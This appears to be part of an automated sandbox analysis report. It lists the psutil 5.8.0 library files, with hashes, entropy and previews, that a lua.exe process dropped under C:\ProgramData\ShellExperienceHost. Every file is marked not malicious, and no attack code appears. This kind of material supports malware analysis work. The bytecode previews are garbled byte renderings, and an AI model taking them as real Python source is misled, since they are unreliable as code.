Preview:	psutil-5.8.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..psutil-5.8.0.dist-info/LICENSE,sha256=JMEphFAMqgf_3OGe68BjlsXm0kS1c7xsQ49KbvjlbBs,1549..psutil-5.8.0.dist-info/METADATA,sha256=Bphj_aWaN0I3HJ9grSaLCwTHYKWVx9Gh3lV9WQvyBeY,22626..psutil-5.8.0.dist-info/RECORD,,..psutil-5.8.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..psutil-5.8.0.dist-info/WHEEL,sha256=zMRqF9ZfHGxBPfvcWwE-LxcVkdB1hhr8hy4cOfZGPZU,101..psutil-5.8.0.dist-info/top_level.txt,sha256=gCNhn57wzksDjSAISmgMJ0aiXzQulk0GJhb2-BAyYgw,7..psutil/__init__.py,sha256=kBgynYzuxNXqFVpCNdTr0RqSmR-TqcHraDedB2ycPak,86749..psutil/__pycache__/__init__.cpython-37.pyc,,..psutil/__pycache__/_common.cpython-37.pyc,,..psutil/__pycache__/_compat.cpython-37.pyc,,..psutil/__pycache__/_psaix.cpython-37.pyc,,..psutil/__pycache__/_psbsd.cpython-37.pyc,,..psutil/__pycache__/_pslinux.cpython-37.pyc,,..psutil/__pycache__/_psosx.cpython-37.pyc,,..psutil/__pycache__/_psposix.cpython-37.pyc,,..ps

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	101
Entropy (8bit):	5.070312508049368
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViHoKKjP+tkKcVhhLn:RtBMwlViQWK3hhLn
MD5:	D5CA891EDE6691C0A4CBCCC9148DA70D
SHA1:	B7DED86283B64CF278D33A759E1BA5B448EE81D5
SHA-256:	CCC46A17D65F1C6C413DFBDC5B013E2F171591D075861AFC872E1C39F6463D95
SHA-512:	59C47BB3F4DD63177B34CD9722F79BB9E47431A78B5F50ECC697B592806BC6A9009E73F28F3146EEE9295FD8FD3989A2D7F32B27B15C38C894A74CAC8368D35B
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.36.2).Root-Is-Purelib: false.Tag: cp37-cp37m-win_amd64..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.8073549220576046
Encrypted:	false
SSDEEP:	3:Sn:Sn
MD5:	D3401109F4F08FB7F9C3F411EA9209F2
SHA1:	A841BF4DA24F2D960AD77A39767FEA360F00807F
SHA-256:	8023619F9EF0CE4B038D20084A680C2746A25F342E964D062616F6F81032620C
SHA-512:	03C2FDF9B0A069B9EABCFE9FF5BE6D71E63239AB3B6716CE3C098E30376D3B533E17A1713FA84E46BE292C091155C3A7EA792B032FBCD9BEE848A491D428A507
Malicious:	false
Preview:	psutil.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	86749
Entropy (8bit):	4.506163593994137
Encrypted:	false
SSDEEP:	768:ksqkpHMgP57E7kPdG6T7L1NoHEjcijG52wj01FLKoFpD2b6+Xkbj/2np4p6sG/jc:nfx1pmhbqWF64zFU
MD5:	29E928C48046A0050384F17B0F26FD1B
SHA1:	CDD96ED3B4C13BD3C426A20F204CB66099B5B801
SHA-256:	9018329D8CEEC4D5EA155A4235D4EBD11A92991F93A9C1EB68379D076C9C3DA9
SHA-512:	29D4CF31640B3D4803429767D2C633EA18299962E9BE61B22D87F141E4B267BCAD89F326838251F0F3DC12D00034100E6CA38A9397663EBBA46536B1E9E6323A
Malicious:	false
Preview:	# -- coding: utf-8 --..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""psutil is a cross-platform library for retrieving information on.running processes and system utilization (CPU, memory, disks, network,.sensors) in Python. Supported platforms:.. - Linux. - Windows. - macOS. - FreeBSD. - OpenBSD. - NetBSD. - Sun Solaris. - AIX..Works with Python versions from 2.6 to 3.4+.."""..from __future__ import division.import collections.import contextlib.import datetime.import functools.import os.import signal.import subprocess.import sys.import threading.import time.try:. import pwd.except ImportError:. pwd = None..from . import _common.from ._common import AccessDenied.from ._common import Error.from ._common import memoize_when_activated.from ._common import NoSuchProcess.from ._common import TimeoutExpired.from ._common import wrap_numbers as _wrap_numbers.from .

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\__init__.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	63407
Entropy (8bit):	5.41185915045016
Encrypted:	false
SSDEEP:	1536:kjk7aK10LUZ+gYxI4IOcmOwwA99mJrKl4tWlnxE:uE1yBjJhsKlBk
MD5:	83F0B961C35B3E94473E324C5E54B414
SHA1:	6C002D716D8E4A5FA3F098AEDADBA43A863520C8
SHA-256:	38E0F55FDC7F6F1FEB8E8F89CCB8F7A6D714C8335E34E5852125E076324E6F5C
SHA-512:	0307781099B0254EFA0C49D2110507CC3475947169E406433EC45161F194BDC558F3889D778DB55C2069B23FF9821111C88D78EB0E69646C76A1DAB19F86B4E8
Malicious:	false
Preview:	B.........R`.R...............G...@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.y.d.d.l.Z.W.n...e.k.r.......d.Z.Y.n.X.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.m'Z'..d.d.l.m(Z(..d.d.l.m)Z)..d.d.l.mZ..d.d.l.m+Z+..d.d.l.m,Z,..d.d.l.m-Z-..d.d l.m.Z...d.d!l.m/Z/..d.d"l.m0Z0..d.d#l.m1Z1..d.d$l.m2Z2..d.d%l.m3Z3..d.d&l.m4Z4..d.d'l.m5Z5..d.d(l.m6Z6..d.d)l.m7Z7..d.d*l.m8Z8..d.d+l.m9Z9..d.d,l.m:Z:..d.d-l.m;Z;..d.d.l.m<Z<..d.d/l.m=Z=..d.d0l.m>Z>..d.d1l.m?Z?..d.d2l.m@Z@..d.d3l.mAZA..d.d4l.mBZB..d.d5l.mCZC..d.d6l.mDZD..d.d7l.mEZE..d.d8l.mFZF..e?..r@d9ZGd.d:l.mHZI..d.d;lHmJZJ..d.d<lHmKZK..d.d=lHmLZL..d.d>lHmMZM....n.eF..r.d.d?l.mNZI..d.d@lOmPZP..d.dAlOmQZQ..d.dBlOmRZR..d.dClOmSZS..d.dDlOmTZT..d.dElOmUZU..d.dFlNmVZV..d.dGlNmWZW..d.dHlNmXZX..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_common.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	20609
Entropy (8bit):	5.6564486728533785
Encrypted:	false
SSDEEP:	384:3uEC/GO9IZKS3FnTaE4NBdhgZzv7DZbsWqVGNghoNJQa2s:3w/GO9naejBd8vfZbsDVmgmcs
MD5:	6EC76D4EB5DD4F3322F6910ABA53D214
SHA1:	0200526BC436DFFFA7A77497189CC8E1C741CB2F
SHA-256:	CD9E24F93DB3A70BC71EBC547F45505F120489BC923E282CDA39DE4F54121819
SHA-512:	A1798A91CF8C0F3B03ECA93AD5DA8CFC4267DE0BCCF79B179BEDE038FEF4116DB1F92CA649DBEA632A2237714F3F0F5287321FD8778A0649722F1D7DA830C335
Malicious:	false
Preview:	B.........R`jf...............N...@...s8...d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...y.d.d.l.m.Z...W.n...e.k.r.......d.Z.Y.n.X.y.d.d.l.m.Z...W.n...e.k.r.......d.Z.Y.n.X.e.j.d.k...r.d.d.l.Z.n.d.Z.e.j.d...d.k.Z.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d d!d"d#d$d%d&d'd(d)dd+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZgNZ.e.j.d[k.Z.e.j.d\k.Z.e.j...d]..Z.e.j...d^..Z e Z!e.j...d_..Z"e.j...d`..Z#e.j...da..Z$e"..p.e#..p.e$Z%e.j...db..Z&e.j...dc..Z'ddZ(deZ)dfZdgZ+dhZ,diZ-djZ.dkZ/dlZ0dmZ1dnZ2doZ3dpZ4dqZ5drZ6dsZ7dtZ8duZ9dvZ:dwZ;dxZ<dyZ=dzZ>d{Z?d\|Z@d}ZAe.d.k...r.d~ZBd.ZCd.ZDn G.d.d...d.e.jE..ZFeG...HeFjI....e.d.k...r.d.ZJd.ZKn G.d.d...d.e.jE..ZLeG...HeLjI....e..M..ZNe...s.d.ZOn2y.e..P..ZOW.n$..eQk...rH......e...r@d.n.d.ZOY.n.X.e.dHd.d.d.d.d.d.g...ZRe.dDd.d.d.d.g...ZSe.dBd.d.d.d.d.d.g...ZTe.dCd.d.d.d.d.d.g...ZUe.dEd.d.d.d.d.d.d.d.g...ZVe.dId.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_compat.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	5.437226652660616
Encrypted:	false
SSDEEP:	192:Lfwk4LKeQdJSBby0PB9ldt0serMRGB8Fdwt1xvwkWWaXPw4snsY:LfwZZ0QBb7Pz1e4RGF9wkWvfw4snf
MD5:	02BD138C9B2B40E265B27D3FC0DFA05F
SHA1:	F639DEBFDB8C0555EE8FA0E111BD75591668D015
SHA-256:	8C9B9AB97EC401661A91BE46F5A2BDE5EA4F8D394F5C45CA2647F815540F4D7A
SHA-512:	FAFD7F420C20490CF95C17FC57BDCFCDB972F1DB39441BF9919187B0B1B18268626C459A507E025C97DAC225527FD3746E56F77213C15DA50D17EA26DA23898B
Malicious:	false
Preview:	B.........R`.8...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.g.Z.e.j.d...d.k.Z.e...Z.e.r.e.Z.e.Z.e.Z.e.Z.e.Z.d.d...Z.d.d...Z.n e.Z.e.Z.e.Z.e.Z.d.d...Z.d.d...Z.e.r.e.Z.n.e.Z.e.e.d.f.d.d...Z.e.r.e.Z.e.Z.e.Z.e.Z.e.Z.e.Z.n.d.d.l.Z.e.f.d.d...Z.e.e ..d.d.....Z.e.e ..d.d.....Z.e.e ..d.d.....Z.e.e ..d d.....Z.e.e ..d!d.....Z.e.e ..d"d.....Z.e..!..d#k...r.y.e"e.j#d$....W.n2..e.k...r.......Y.n...e"k...r.......e$d%....Y.n.X.y.d.d&l.m%Z%..W.n...e&k...rl......y.d.d'l'm(Z(..W.n"..e&k...r.......d.d'l)m(Z(..Y.n.X.e..d(d)dd+d,g...Z+G.d-d...d.e,..Z-e...f.e.e.e.e/e0d...f...e1e2e0e3f.d/d0..Z4d9d3d...Z%Y.n.X.y.d.d4l5m6Z6..W.n,..e&k...r.......e.j7e.j8B.d.f.d5d...Z6Y.n.X.y.d.d6l5m9Z9..W.n ..e&k...r.......d:d8d...Z9Y.n.X.d.S.);z.Module which provides compatibility with older Python versions..This is more future-compatible rather than the opposite (prefer latest.Python 3 way of doing things).......N..PY3..long..range..super..unicode..basestri

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_psaix.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	15028
Entropy (8bit):	5.394370580162659
Encrypted:	false
SSDEEP:	384:+YFNn+L28mQWBXNchQhzWAXi1OdmPptQi9Y2:+YFNn+LnmQe4ozWAeOMPpt/9Y2
MD5:	AC534BC010E76AB658A525B7BF088F1A
SHA1:	7462D83DE07FDFD9DDEA7400793AA201CD85423B
SHA-256:	B55D3D04B5534FFC8E5F41F0116F1A62E2CB832ED2CC62CECB194FAEB1459827
SHA-512:	A8F2DF1BCBCDC72A113316E476B52C765D96EF15D7F06AF7D6D04CD4665B69EF7435610331C9942BBA30E66F324F285E59957FFEE4E70D1997189446D6075FA2
Malicious:	false
Preview:	B.........R`{H...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.e e.d...Z!e e.d...Z"e e.d...Z#e..$..Z%e.j&Z&e.j'e.j(e.j)e.je.j+e.j,e.j-e.j,e.j.e.j/i.Z0e.j1e.j2e.j3e.j4e.j5e.j6e.j7e.j8e.j9e.j:e.j;e.j<e.j=e.j>e.j?e.j@e.jAe.jBe.jCe.jDe.jEe.jFe.jGe.jHi.ZIeJd.d.d.d.d.d.d.d d!..ZKe.d"d#d$g...ZLeLZMe.d%d&d'd(d)g...ZNe.dd+d,d-d.d/g...ZOd0d1..ZPd2d3..ZQd4d5..ZRd6d7..ZSd8d9..ZTd:d;..ZUd<d=..ZVe.jWZWe.jXZXdRd?d@..ZYe.jZZZe"..r.e.j[Z[dSdBdC..Z\dDdE..Z]dFdG..Z^dHdI..Z_dJdK..Z`dLdM..ZadNdO..ZbG.dPdQ..dQec..Zdd.S.)Tz.AIX platform implementation......N)...namedtuple.....)..._common)..._psposix)..._psutil_aix)..._psutil_posix)...AccessDenied)...conn_to_ntuple)...get_procfs_path)...memoize_when_activated)...NIC_DUPLEX_FULL)...NIC_DUPLEX_HALF)

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_psbsd.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	20797
Entropy (8bit):	5.446604134426972
Encrypted:	false
SSDEEP:	384:FpVUsqoMW44yYgcngH5ro28NIUWDxF2VM8P5z3Qa66A9jB:XqEK8nYMZIUWCVM8Rz3J66A9jB
MD5:	3C32A569298D5A4C0F52D0425B42FD4E
SHA1:	D930CC02226E1F2F49ACFCA1FE7BE13B0733EECE
SHA-256:	04CA09CFCD22325477EDA9E54FD0ABC0A8F0A45704AD57D1D7F22EEA9E64AE18
SHA-512:	B0A85EFC36C6661129B7F299461CCC73663F5159F52A64FA956F66CFCCD7E13800A9315FAB27E583AD293A505D2876336A56B22EF75AB0CEFA7269475F00AB09
Malicious:	false
Preview:	B.........R`]y...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.....m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..g.Z#e...rze.j$e.j%e.j&e.j'e.j(e.j)e.je.j+e.j,e.j-e.j.e.j/e.j0e.j1i.Z2n~e...r.e.j$e.j%e.j(e.j)e.je.j+e.j3e.j-e.j,e.j-e.j&e.j4e.j5e.j'i.Z2n:e...r.e.j$e.j%e.j(e.j)e.je.j+e.j,e.j-e.j&e.j4e.j5e.j'i.Z2e.j6e.j7e.j8e.j9e.j:e.j;e.j<e.j=e.j>e.j?e.j@e.jAe.jBe.jCe.jDe.jEe.jFe.jGe.jHe.jIe.jJe.jKe.jLe.jMi.ZNe..O..ZPe.jQZQeRe.d...ZSeRe.d...ZTeRe.d...ZUeRe.d...ZVeWd.d.d.d.d.d d!d"d#d$d%d&d'd(d)dd+d,d-d.d/d0d1d2d3d4..ZXe.d5d6d7d8d9d:d;d<d=d>d?d@g...ZYe.dAdBdCdDdEdFg...ZZe.dGdHdIdJdKdLg...Z[e[Z\e.dMdBdDdNdOg...Z]e.dPdQ..Z^e.dRdS..Z_e...r^e.dTdUdVdWdXdYdZd[g...Z`n.e.dTdUdVdWdXg...Z`d\d]..Zad^d_..Zbd`da..ZceS..r.dbd...Zdn.dcd...Zddded_ededf..Zfe...s.e...r.dgdh

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_pslinux.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	49145
Entropy (8bit):	5.673504061479726
Encrypted:	false
SSDEEP:	768:ppmybl4jY645c2n/yJ6v7qsvsz5j93hNPpakWbr1k1KJPdXxCMfSkQl5QeqaYwTf:ppm++2n/ycOsvC5/NgkopzXMMfZ81uB4
MD5:	A8BCBD7F1B7080DF3D3B49B67290C8CB
SHA1:	E026EEF6CC25505C85FDC56CFD857EA56FB92FFC
SHA-256:	004C39ED9C513EECE4C47024424878BF65F20D20FA709E704B408DE9205BC8B5
SHA-512:	9668359B0C03C707383EE9E8862A525B6E470AACE5C2EE042F1CBC838328A1A3F2CFBAAC94F5303F3C87850D40C8CD6CAE4D06FA1F36802B39A103C2F42CFCAD
Malicious:	false
Preview:	B.........R`.@...................@...s@...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..d.d.l.m&Z&..d.d.l.m'Z'..d.d.l.m(Z(..d.d.l.m)Z)..d.d.lm+Z+..d.d.lm,Z,..d.d.lm-Z-..d.d lm.Z...d.d!lm/Z/..d.d"lm0Z0..e.j1d#k...r.d.d.l2Z2n.d.Z2d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3g.Z3d4Z4e.j5.6d5e..7......Z8e9e.d6..Z:e9e.d7..Z;e<..Z=e..>d8..Z?e..@..ZAd.aBe0..rhd9n.d:ZCe.jDd;k.ZEd<ZFe2d.k...r.e.jGZHn.e2.Id=d>eJe.jG..i...ZKeKjHZHe2d.k...r.d.ZLd.ZMd?ZNd@ZOn G.dAdB..dBe2jI..ZPeQ...RePjS....e.jTe.jUe.jVe.jWe.jXe.jYe.jZe.jZe.j[e.j\e.j]e.j^dC..Z_e.j`e.jae.jbe.jce.jde.jee.jfe.jge.jhe.jie.jjdD..Zke.dEdFdGdHdIdJdKdLdMdNdOdPg...Zle.dQdRdSdTdUdVdWdXdYdZg...Zme.d[d\d]d^d_d`g...Zne.dadb..Zoe.dceojpdd....Zqe.ded\df

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_psosx.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	14469
Entropy (8bit):	5.369139391826787
Encrypted:	false
SSDEEP:	384:cKb7QpsQ1wCEoDx8zrnwQKhAbIasyhV2R9iJfv:97QJ1pqXnwQOAbIN6U9iJfv
MD5:	8A7ED4DA229D5CE057F52B3962A30828
SHA1:	A7C4D1702254CA3B1E17757C6A965D080ABBD0D5
SHA-256:	4270B3CD7D19B7228548B07797563C28A88E19705D9A382801B56C00800DB9C4
SHA-512:	CBD9198C99580F10DDF8AEC6A005FFCC0195C25C83433B0DF114E2670F1D7C5B44C3BEFC8B743CD428526D8BB5A9F98FC2210FBDF663B05E3FDE33F2BF7CD4BA
Malicious:	false
Preview:	B.........R`VD...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.Z.e.....Z.e.j.Z.e.j.e.j.e.j e.j!e.j"e.j#e.j$e.j%e.j&e.j'e.j(e.j)e.je.j+e.j,e.j-e.j.e.j/e.j0e.j1e.j2e.j3e.j4e.j5i.Z6e.j7e.j8e.j9e.j:e.j;e.j<e.j=e.j>e.j?e.j@i.ZAeBd.d.d.d.d.d.d.d.d.d.d.d...ZCeBd.d.d.d.d.d.d.d.d...ZDe.d.d d!d"d#g...ZEe.d$d%d&d'd(d)dd+d,g...ZFe.d-d.d/d0d1g...ZGe.d2eGjHd3....ZId4d5..ZJd6d7..ZKd8d9..ZLd:d;..ZMd<d=..ZNd>d?..ZOd@dA..ZPdBdC..ZQe.jRZRe.jSZSd\dEdF..ZTdGdH..ZUe.jVZVe.jWZWd]dJdK..ZXdLdM..ZYdNdO..ZZdPdQ..Z[dRdS..Z\e.j]Z]dTdU..Z^dVdW..Z_e.j`dXdY....ZaG.dZd[..d[eb..Zcd.S.)^z.macOS platform implementation......N)...namedtuple.....)..._common)..._psposix)..._psutil_osx)..._psutil_posix)...AccessDenied)...conn_tmap)...conn_to_ntuple)...isfile_strict)...memoize_when_activated)...NoSuchProcess)...parse_e

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_psposix.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	4506
Entropy (8bit):	5.56002651484508
Encrypted:	false
SSDEEP:	96:na/tvaXrFfiq5bR9poO97VkP1HER9ZXREf/60gAQjUOHtFAx:nMtvgh5bRQA7w69ZXY60nQhNFW
MD5:	F45E71EF6FF84380BE5FF6E389A90355
SHA1:	7D9DFD8E0F045A8BE2BACBD6572FB4CEB1C097B7
SHA-256:	FDE1E11F118703838297E501C90C7D6767F24148746CE34E0577910A88392837
SHA-512:	F97026656E13CDB119EF96C1157669B6B6D645CC214541EA2B06804AEF671C264F6C260C042E8928DAB3A81C3A48B426ACF2E2CABBF7E74AB78EE2908834D11E
Malicious:	false
Preview:	B.........R`m....................@...s^...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.d.k.r.d.d.l.Z.n.d.Z.d.d.d.d.g.Z.d.d...Z.e.d.k...r.e.e.d.....r.e...d.e.d.d...e.j.D.......Z.d.d...Z.n.d.d...Z.d.d.e.j.e.e.d.e.j...e.e.j e.f.d.d...Z!d.d...Z"e.d.d.....Z#d.S.) z%Routines common to all posix systems......N.....)...memoize)...sdiskusage)...TimeoutExpired)...usage_percent)...ChildProcessError)...FileNotFoundError)...InterruptedError)...PermissionError)...ProcessLookupError)...PY3)...unicode).............pid_exists..wait_pid..disk_usage..get_terminal_mapc................C...sL...\|.d.k.r.d.S.y.t...\|.d.....W.n&..t.k.r0......d.S...t.k.rB......d.S.X.d.S.d.S.).z6Check whether pid exists in the current process table.r....TFN)...os..killr....r....)...pid..r.....4D:\python-3.7.3\Lib\site-packages\psutil/_psposix.pyr...."...s........................Signals..Negsignalc

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_pssunos.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	18106
Entropy (8bit):	5.461951506567444
Encrypted:	false
SSDEEP:	384:SPuVBu+s9xwOedTm6pYSlV0sg0bjQDn5L+Mm9LkT:SWLu+sEXd661lV0sN4L+r9LkT
MD5:	BE95424588FFAE5F5357952CEDC08501
SHA1:	61FA308DCE37BB212F7747CDD870656B46F2B741
SHA-256:	60F8B18EEDF3D71C5A2582C02B7AF4AFA189FCE9BE517CBCE18D405A8D574F56
SHA-512:	0D4348AFDBDE873AF57A81E7766D418D18A8636982A36BCC6D68DCFBA1ABE2FC577F82CD821A69842916CAFB03E49AAF8EA2052701883892155E0697ADA0BA68
Malicious:	false
Preview:	B.........R`.c...................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.d.g.Z"e..#..Z$e.j%Z%e.j&d.k.Z'd.Z(d.Z)e.je.j+e.j,e.j-e.j.e.j/e.j0e.j1e.j2e.j3e.j4e.j-e.j5e.j6i.Z7e.j8e.j9e.j:e.j;e.j<e.j=e.j>e.j?e.j@e.jAe.jBe.jCe.jDe.jEe.jFe.jGe.jHe.jIe.jJe.jKe.jLe.jMe.jNe.jOe.jPe(e.jQe)i.ZReSd.d.d d!d"d#d$d%d&d'd(d)d..ZTe.d+d,d-d.d/g...ZUe.d0d,d-d1d2g...ZVe.d3d4d5d6d7d8g...ZWe.d9d:d;g...ZXeXZYe.d<d=d:d>d?g...ZZe.d@dAdB.[eZj\......Z]dCdD..Z^dEdF..Z_dGdH..Z`dIdJ..ZadKdL..ZbdMdN..ZcdOdP..Zde.jeZee.jfZfdedRdS..Zge.jhZhe.jiZidfdUdV..ZjdWdX..ZkdYdZ..Zld[d\..Zmd]d^..Znd_d`..Zodadb..ZpG.dcdd..ddeq..Zrd.S.)gz'Sun OS Solaris platform implementation......N)...namedtuple)...AF_INET.....)..._common)..._psposix)..._psutil_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\_pswindows.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	28653
Entropy (8bit):	5.426846092053715
Encrypted:	false
SSDEEP:	768:r/5SklntNDvjIhCF1Qp5T4WbrZMsHJ3HwkLB9+5l:rB1ln/soQp5TdNXJgX
MD5:	8BD6FD2C70C96758962B6293ED2F4605
SHA1:	B2FD7299B775967A3C4B557197A06772B998C216
SHA-256:	7072F365F8185AC37DCD72636C59A5686891923F1FB8D1791F26073CC3319408
SHA-512:	80E60DCBFA1F22AD90A68442673DB389503C70A08EF6E522F4F17866C147216C44B9B4ED5D8B9D16013DACFA9AD47B7855B8E3D8C42CB87BA3AD45A040121649
Malicious:	false
Preview:	B.........R`....................@...s(...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l.m$Z$..d.d.l.m%Z%..y.d.d.l.m.Z&..W.nj..e'k...r...Z(..zJe)e(......+d.....r.e..,..d...d 